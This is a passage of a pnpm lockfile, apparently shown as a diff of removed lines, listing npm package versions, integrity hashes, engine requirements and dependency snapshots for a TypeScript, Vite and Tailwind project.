sha512-HYNoHZa2GorYNyqiCaBgsxvcJIn7OHq6inEga+E6Ke3m5JkoqpQbnFssk4jwe+K7AhGa2fcha4wSOf1Kn01dMg==} - - stylehacks@5.1.1: - resolution: {integrity: sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw==} - engines: {node: ^10 || ^12 || >=14.0} - peerDependencies: - postcss: ^8.2.15 - - supports-color@7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} - engines: {node: '>=8'} - - supports-preserve-symlinks-flag@1.0.0: - resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} - engines: {node: '>= 0.4'} - - svgo@2.8.0: - resolution: {integrity: sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==} - engines: {node: '>=10.13.0'} - hasBin: true - - tailwind-merge@3.5.0: - resolution: {integrity: sha512-I8K9wewnVDkL1NTGoqWmVEIlUcB9gFriAEkXkfCjX5ib8ezGxtR3xD7iZIxrfArjEsH7F1CHD4RFUtxefdqV/A==} - - tailwindcss-animate@1.0.7: - resolution: {integrity: sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==} - peerDependencies: - tailwindcss: '>=3.0.0 || insiders' - - tailwindcss@4.2.2: - resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} - - tapable@2.3.2: - resolution: {integrity: sha512-1MOpMXuhGzGL5TTCZFItxCc0AARf1EZFQkGqMm7ERKj8+Hgr5oLvJOVFcC+lRmR8hCe2S3jC4T5D7Vg/d7/fhA==} - engines: {node: '>=6'} - - tar-fs@2.1.4: - resolution: {integrity: sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==} - - tar-stream@2.2.0: - resolution: {integrity: sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==} - engines: {node: '>=6'} - - tar@6.2.1: - resolution: {integrity: sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==} - engines: {node: '>=10'} - deprecated: Old versions of tar are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me - - text-table@0.2.0: - resolution: {integrity: sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==} - - through2@2.0.5: - resolution: {integrity: sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==} - - to-regex-range@5.0.1: - resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} - engines: {node: '>=8.0'} - - toidentifier@1.0.1: - resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} - engines: {node: '>=0.6'} - - toml@3.0.0: - resolution: {integrity: sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==} - - trim-lines@3.0.1: - resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} - - trough@2.2.0: - resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==} - - ts-api-utils@1.4.3: - resolution: {integrity: sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==} - engines: {node: '>=16'} - peerDependencies: - typescript: '>=4.2.0' - - tsconfig-paths@4.2.0: - resolution: {integrity: sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==} - engines: {node: '>=6'} - - tslib@2.8.1: - resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==} - - turbo-stream@2.4.1: - resolution: {integrity: sha512-v8kOJXpG3WoTN/+at8vK7erSzo6nW6CIaeOvNOkHQVDajfz1ZVeSxCbc6tOH4hrGZW7VUCV0TOXd8CPzYnYkrw==} - - type-check@0.4.0: - resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} - engines: {node: '>= 0.8.0'} - - type-fest@0.20.2: - resolution: {integrity: sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==} - engines: {node: '>=10'} - - type-is@1.6.18: - resolution: {integrity: sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==} - engines: {node: '>= 0.6'} - - typed-array-buffer@1.0.3: - resolution: {integrity: sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==} - engines: {node: '>= 0.4'} - - typed-array-byte-length@1.0.3: - resolution: {integrity: sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==} - engines: {node: '>= 0.4'} - - typed-array-byte-offset@1.0.4: - resolution: {integrity: sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==} - engines: {node: '>= 0.4'} - - typed-array-length@1.0.7: - resolution: {integrity: sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==} - engines: {node: '>= 0.4'} - - typescript@5.9.3: - resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} - engines: {node: '>=14.17'} - hasBin: true - - ufo@1.6.3: - resolution: {integrity: sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q==} - - unbox-primitive@1.1.0: - resolution: {integrity: sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==} - engines: {node: '>= 0.4'} - - undici-types@7.18.2: - resolution: {integrity: sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w==} - - undici@6.23.0: - resolution: {integrity: sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==} - engines: {node: '>=18.17'} - - unified@10.1.2: - resolution: {integrity: sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==} - - unique-filename@3.0.0: - resolution: {integrity: sha512-afXhuC55wkAmZ0P18QsVE6kp8JaxrEokN2HGIoIVv2ijHQd419H0+6EigAFcIzXeMIkcIkNBpB3L/DXB3cTS/g==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - unique-slug@4.0.0: - resolution: {integrity: sha512-WrcA6AyEfqDX5bWige/4NQfPZMtASNVxdmWR76WESYQVAACSgWcR6e9i0mofqqBxYFtL4oAxPIptY73/0YE1DQ==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - unist-util-generated@2.0.1: - resolution: {integrity: sha512-qF72kLmPxAw0oN2fwpWIqbXAVyEqUzDHMsbtPvOudIlUzXYFIeQIuxXQCRCFh22B7cixvU0MG7m3MW8FTq/S+A==} - - unist-util-is@5.2.1: - resolution: {integrity: sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==} - - unist-util-position-from-estree@1.1.2: - resolution: {integrity: sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==} - - unist-util-position@4.0.4: - resolution: {integrity: sha512-kUBE91efOWfIVBo8xzh/uZQ7p9ffYRtUbMRZBNFYwf0RK8koUMx6dGUfwylLOKmaT2cs4wSW96QoYUSXAyEtpg==} - - unist-util-remove-position@4.0.2: - resolution: {integrity: sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==} - - unist-util-stringify-position@3.0.3: - resolution: {integrity: sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==} - - unist-util-visit-parents@5.1.3: - resolution: {integrity: sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==} - - unist-util-visit@4.1.2: - resolution: {integrity: sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==} - - universalify@2.0.1: - resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} - engines: {node: '>= 10.0.0'} - - unpipe@1.0.0: - resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} - engines: {node: '>= 0.8'} - - update-browserslist-db@1.2.3: - resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} - hasBin: true - peerDependencies: - browserslist: '>= 4.21.0' - - uri-js@4.4.1: - resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} - - use-callback-ref@1.3.3: - resolution: {integrity: sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==} - engines: {node: '>=10'} - peerDependencies: - '@types/react': '*' - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - use-sidecar@1.1.3: - resolution: {integrity: sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==} - engines: {node: '>=10'} - peerDependencies: - '@types/react': '*' - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - - util-deprecate@1.0.2: - resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} - - util@0.12.5: - resolution: {integrity: sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==} - - utils-merge@1.0.1: - resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==} - engines: {node: '>= 0.4.0'} - - uvu@0.5.6: - resolution: {integrity: sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==} - engines: {node: '>=8'} - hasBin: true - - valibot@1.2.0: - resolution: {integrity: sha512-mm1rxUsmOxzrwnX5arGS+U4T25RdvpPjPN4yR0u9pUBov9+zGVtO84tif1eY4r6zWxVxu3KzIyknJy3rxfRZZg==} - peerDependencies: - typescript: '>=5' - peerDependenciesMeta: - typescript: - optional: true - - validate-npm-package-license@3.0.4: - resolution: {integrity: sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==} - - validate-npm-package-name@5.0.1: - resolution: {integrity: sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - vary@1.1.2: - resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} - engines: {node: '>= 0.8'} - - vfile-message@3.1.4: - resolution: {integrity: sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==} - - vfile@5.3.7: - resolution: {integrity: sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==} - - vite-node@1.6.1: - resolution: {integrity: sha512-YAXkfvGtuTzwWbDSACdJSg4A4DZiAqckWe90Zapc/sEX3XvHcw1NdurM/6od8J207tSDqNbSsgdCacBgvJKFuA==} - engines: {node: ^18.0.0 || >=20.0.0} - hasBin: true - - vite-node@3.2.4: - resolution: {integrity: sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==} - engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} - hasBin: true - - vite@5.4.21: - resolution: {integrity: sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==} - engines: {node: ^18.0.0 || >=20.0.0} - hasBin: true - peerDependencies: - '@types/node': ^18.0.0 || >=20.0.0 - less: '*' - lightningcss: ^1.21.0 - sass: '*' - sass-embedded: '*' - stylus: '*' - sugarss: '*' - terser: ^5.4.0 - peerDependenciesMeta: - '@types/node': - optional: true - less: - optional: true - lightningcss: - optional: true - sass: - optional: true - sass-embedded: - optional: true - stylus: - optional: true - sugarss: - optional: true - terser: - optional: true - - wcwidth@1.0.1: - resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==} - - web-encoding@1.1.5: - resolution: {integrity: sha512-HYLeVCdJ0+lBYV2FvNZmv3HJ2Nt0QYXqZojk3d9FJOLkwnuhzM9tmamh8d7HPM8QqjKH8DeHkFTx+CFlWpZZDA==} - - web-streams-polyfill@3.3.3: - resolution: {integrity: sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==} - engines: {node: '>= 8'} - - which-boxed-primitive@1.1.1: - resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==} - engines: {node: '>= 0.4'} - - which-builtin-type@1.2.1: - resolution: {integrity: sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==} - engines: {node: '>= 0.4'} - - which-collection@1.0.2: - resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==} - engines: {node: '>= 0.4'} - - which-typed-array@1.1.20: - resolution: {integrity: sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==} - engines: {node: '>= 0.4'} - - which@2.0.2: - resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} - engines: {node: '>= 8'} - hasBin: true - - which@3.0.1: - resolution: {integrity: sha512-XA1b62dzQzLfaEOSQFTCOd5KFf/1VSzZo7/7TUjnya6u0vGGKzU96UQBZTAThCb2j4/xjBAyii1OhRLJEivHvg==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - hasBin: true - - word-wrap@1.2.5: - resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} - engines: {node: '>=0.10.0'} - - wrap-ansi@7.0.0: - resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} - engines: {node: '>=10'} - - wrap-ansi@8.1.0: - resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} - engines: {node: '>=12'} - - wrappy@1.0.2: - resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} - - ws@7.5.10: - resolution: {integrity: sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==} - engines: {node: '>=8.3.0'} - peerDependencies: - bufferutil: ^4.0.1 - utf-8-validate: ^5.0.2 - peerDependenciesMeta: - bufferutil: - optional: true - utf-8-validate: - optional: true - - xtend@4.0.2: - resolution: {integrity: sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==} - engines: {node: '>=0.4'} - - yallist@3.1.1: - resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} - - yallist@4.0.0: - resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} - - yaml@1.10.2: - resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} - engines: {node: '>= 6'} - - yaml@2.8.2: - resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==} - engines: {node: '>= 14.6'} - hasBin: true - - yocto-queue@0.1.0: - resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} - engines: {node: '>=10'} - - zwitch@2.0.4: - resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} - -snapshots: - - '@alloc/quick-lru@5.2.0': {} - - '@babel/code-frame@7.29.0': - dependencies: - '@babel/helper-validator-identifier': 7.28.5 - js-tokens: 4.0.0 - picocolors: 1.1.1 - - '@babel/compat-data@7.29.0': {} - - '@babel/core@7.29.0': - dependencies: - '@babel/code-frame': 7.29.0 - '@babel/generator': 7.29.1 - '@babel/helper-compilation-targets': 7.28.6 - '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) - '@babel/helpers': 7.28.6 - '@babel/parser': 7.29.0 - '@babel/template': 7.28.6 - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - '@jridgewell/remapping': 2.3.5 - convert-source-map: 2.0.0 - debug: 4.4.3 - gensync: 1.0.0-beta.2 - json5: 2.2.3 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - '@babel/generator@7.29.1': - dependencies: - '@babel/parser': 7.29.0 - '@babel/types': 7.29.0 - '@jridgewell/gen-mapping': 0.3.13 - '@jridgewell/trace-mapping': 0.3.31 - jsesc: 3.0.2 - - '@babel/helper-annotate-as-pure@7.27.3': - dependencies: - '@babel/types': 7.29.0 - - '@babel/helper-compilation-targets@7.28.6': - dependencies: - '@babel/compat-data': 7.29.0 - '@babel/helper-validator-option': 7.27.1 - browserslist: 4.28.1 - lru-cache: 5.1.1 - semver: 6.3.1 - - '@babel/helper-create-class-features-plugin@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-annotate-as-pure': 7.27.3 - '@babel/helper-member-expression-to-functions': 7.28.5 - '@babel/helper-optimise-call-expression': 7.27.1 - '@babel/helper-replace-supers': 7.28.6(@babel/core@7.29.0) - '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 - '@babel/traverse': 7.29.0 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - '@babel/helper-globals@7.28.0': {} - - '@babel/helper-member-expression-to-functions@7.28.5': - dependencies: - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-module-imports@7.28.6': - dependencies: - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-module-imports': 7.28.6 - '@babel/helper-validator-identifier': 7.28.5 - '@babel/traverse': 7.29.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-optimise-call-expression@7.27.1': - dependencies: - '@babel/types': 7.29.0 - - '@babel/helper-plugin-utils@7.28.6': {} - - '@babel/helper-replace-supers@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-member-expression-to-functions': 7.28.5 - '@babel/helper-optimise-call-expression': 7.27.1 - '@babel/traverse': 7.29.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-skip-transparent-expression-wrappers@7.27.1': - dependencies: - '@babel/traverse': 7.29.0 - '@babel/types': 7.29.0 - transitivePeerDependencies: - - supports-color - - '@babel/helper-string-parser@7.27.1': {} - - '@babel/helper-validator-identifier@7.28.5': {} - - '@babel/helper-validator-option@7.27.1': {} - - '@babel/helpers@7.28.6': - dependencies: - '@babel/template': 7.28.6 - '@babel/types': 7.29.0 - - '@babel/parser@7.29.0': - dependencies: - '@babel/types': 7.29.0 - - '@babel/plugin-syntax-decorators@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-plugin-utils': 7.28.6 - - '@babel/plugin-syntax-jsx@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-plugin-utils': 7.28.6 - - '@babel/plugin-syntax-typescript@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-plugin-utils': 7.28.6 - - '@babel/plugin-transform-modules-commonjs@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) - '@babel/helper-plugin-utils': 7.28.6 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-typescript@7.28.6(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-annotate-as-pure': 7.27.3 - '@babel/helper-create-class-features-plugin': 7.28.6(@babel/core@7.29.0) - '@babel/helper-plugin-utils': 7.28.6 - '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 - '@babel/plugin-syntax-typescript': 7.28.6(@babel/core@7.29.0) - transitivePeerDependencies: - - supports-color - - '@babel/preset-typescript@7.28.5(@babel/core@7.29.0)': - dependencies: - '@babel/core': 7.29.0 - '@babel/helper-plugin-utils': 7.28.6 - '@babel/helper-validator-option': 7.27.1 - '@babel/plugin-syntax-jsx': 7.28.6(@babel/core@7.29.0) - '@babel/plugin-transform-modules-commonjs': 7.28.6(@babel/core@7.29.0) - '@babel/plugin-transform-typescript': 7.28.6(@babel/core@7.29.0) - transitivePeerDependencies: - - supports-color - - '@babel/runtime@7.28.6': {} - - '@babel/template@7.28.6': - dependencies: - '@babel/code-frame': 7.29.0 - '@babel/parser': 7.29.0 - '@babel/types': 7.29.0 - - '@babel/traverse@7.29.0': - dependencies: - '@babel/code-frame': 7.29.0 - '@babel/generator': 7.29.1 - '@babel/helper-globals': 7.28.0 - '@babel/parser': 7.29.0 - '@babel/template': 7.28.6 - '@babel/types': 7.29.0 - debug: 4.4.3 - transitivePeerDependencies: - - supports-color - - '@babel/types@7.29.0': - dependencies: - '@babel/helper-string-parser': 7.27.1 - '@babel/helper-validator-identifier': 7.28.5 - - '@emotion/hash@0.9.2': {} - - '@esbuild/aix-ppc64@0.21.5': - optional: true - - '@esbuild/android-arm64@0.17.6': - optional: true - - '@esbuild/android-arm64@0.21.5': - optional: true - - '@esbuild/android-arm@0.17.6': - optional: true - - '@esbuild/android-arm@0.21.5': - optional: true - - '@esbuild/android-x64@0.17.6': - optional: true - - '@esbuild/android-x64@0.21.5': - optional: true - - '@esbuild/darwin-arm64@0.17.6': - optional: true - - '@esbuild/darwin-arm64@0.21.5': - optional: true - - '@esbuild/darwin-x64@0.17.6': - optional: true - - '@esbuild/darwin-x64@0.21.5': - optional: true - - '@esbuild/freebsd-arm64@0.17.6': - optional: true - - '@esbuild/freebsd-arm64@0.21.5': - optional: true - - '@esbuild/freebsd-x64@0.17.6': - optional: true - - '@esbuild/freebsd-x64@0.21.5': - optional: true - - '@esbuild/linux-arm64@0.17.6': - optional: true - - '@esbuild/linux-arm64@0.21.5': - optional: true - - '@esbuild/linux-arm@0.17.6': - optional: true - - '@esbuild/linux-arm@0.21.5': - optional: true - - '@esbuild/linux-ia32@0.17.6': - optional: true - - '@esbuild/linux-ia32@0.21.5': - optional: true - - '@esbuild/linux-loong64@0.17.6': - optional: true - - '@esbuild/linux-loong64@0.21.5': - optional: true - - '@esbuild/linux-mips64el@0.17.6': - optional: true - - '@esbuild/linux-mips64el@0.21.5': - optional: true - - '@esbuild/linux-ppc64@0.17.6': - optional: true - - '@esbuild/linux-ppc64@0.21.5': - optional: true - - '@esbuild/linux-riscv64@0.17.6': - optional: true - - '@esbuild/linux-riscv64@0.21.5': - optional: true - - '@esbuild/linux-s390x@0.17.6': - optional: true - - '@esbuild/linux-s390x@0.21.5': - optional: true - - '@esbuild/linux-x64@0.17.6': - optional: true - - '@esbuild/linux-x64@0.21.5': - optional: true - - 